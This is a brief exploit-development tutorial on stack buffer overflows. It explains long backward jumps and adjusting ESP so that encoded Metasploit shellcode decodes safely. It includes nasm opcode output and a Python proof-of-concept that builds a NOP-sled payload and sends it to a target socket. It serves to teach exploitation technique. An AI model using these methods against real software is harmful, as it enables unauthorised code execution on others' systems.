When dealing with a stack overflow, you may find that CPU registers only point to small areas of attacker-controlled memory. In this instance, relative JMP instructions can be utilized to move to a larger buffer space.
Jumping in this manner causes issues with Meterpreter x86/shikata_ga_nai encoder shellcode, as it uses the ESP value to determine a location to write the decoded data to the stack. This can result in the encoder being overwritten, or another area of memory used by the program.
In this instance, you will most likely receive an access violation error (c0000005) in debugger output.
To correct this problem, ESP can be decremented so it’s points to a NOP sled area which can safely be overwritten.
msf-nasm_shell can be used to determine the opcode for a jump backwards 700 bytes:
nasm > jmp $-700 00000000 E93FFDFFFF jmp 0xfffffd44
This should land in a NOP sled leading to SUB ESP instructions. To avoid null bytes, multiple operations are performed to decrement ESP 800 bytes, before the shellcode is executed:
nasm > sub esp, 100 00000000 83EC64 sub esp,byte +0x64
Example code to demonstrate the concept:
jmp_esp = b"\x3d\x11\x70\x14" # 0x1470113d JMP ESP sub_esp = b"\x83\xEC\x64\x90" # 100 bytes sub esp, 100 long_jump_back = b"\xe9\xcb\xfd\xff\xff" # 700 bytes long jump nop_sled = b"\x90" * 1697 buffer = nop_sled + sub_esp * 8 + shellcode + jmp_esp + long_jump_back s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.1", 8888)) s.send(buffer) s.close()
Alternatively, a register can be updated using SUB or ADD instructions so they point to the location of shellcode, followed by a JMP will achieve the same effect. It’s best to pad the shellcode with a lot of NOP’s when doing this to prevent the decoder overwriting itself.
It’s worth noting that if your buffer space is around 40 bytes, it’s probably better to use an egg hunter 🙂